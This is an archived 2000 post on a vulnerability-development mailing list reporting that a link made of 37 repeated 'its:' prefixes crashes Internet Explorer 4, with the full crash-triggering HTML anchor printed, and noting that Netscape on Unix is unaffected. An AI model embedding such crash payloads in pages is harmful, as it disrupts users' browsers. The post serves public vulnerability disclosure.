Vulnerability Development mailing list archives

Re: VULN-DEV Digest - 8 Feb 2000 to 9 Feb 2000 (#2000-29)


From: nekr0tek () YAHOO COM (Devil Man)
Date: Thu, 10 Feb 2000 09:20:48 -0800


ATTACHMENT part 4 message/rfc822
Date:    Wed, 9 Feb 2000 11:41:16 CET
From:    Pauli Ojanpera <pauli_ojanpera () HOTMAIL COM>
Subject: its: recursion

Put 37 concatenated "its:" strings as a target url and IE4 crashes
when trying to handle that url.. No I don't know if you wanted
to know this.

<a

href="its:its:its:its:its:its:its:its:its:its:its:its:its:its:its:its:its:its:its:its:its:its:its:its:its:its:its:its:its:its:its:its:its:its:its:its:its:.">do
not click me</a>

There has to be a valid path/file name after the crash string.
I put "." because such a subdirectory exists in most directories
and it is short. :)

Its is some M$ help protocol. Quick search with altavista...
<a href="http://helpware.net/htmlhelp/linktochm.htm";>jotaan</a>

... I didn't co-operate with M$. And I won't. Mitä sitte?
______________________________________________________
Get Your Private, Free Email at http://www.hotmail.com


This does not effect UNIX and or LINUX version of netscape tested on Netscape
verisons 4.04, 4.5, 4.7.

Thanks

=====
"I am not lost, I am merely exploring alternative destinations!"
__________________________________________________
Do You Yahoo!?
Talk to your friends online with Yahoo! Messenger.
http://im.yahoo.com


Current thread: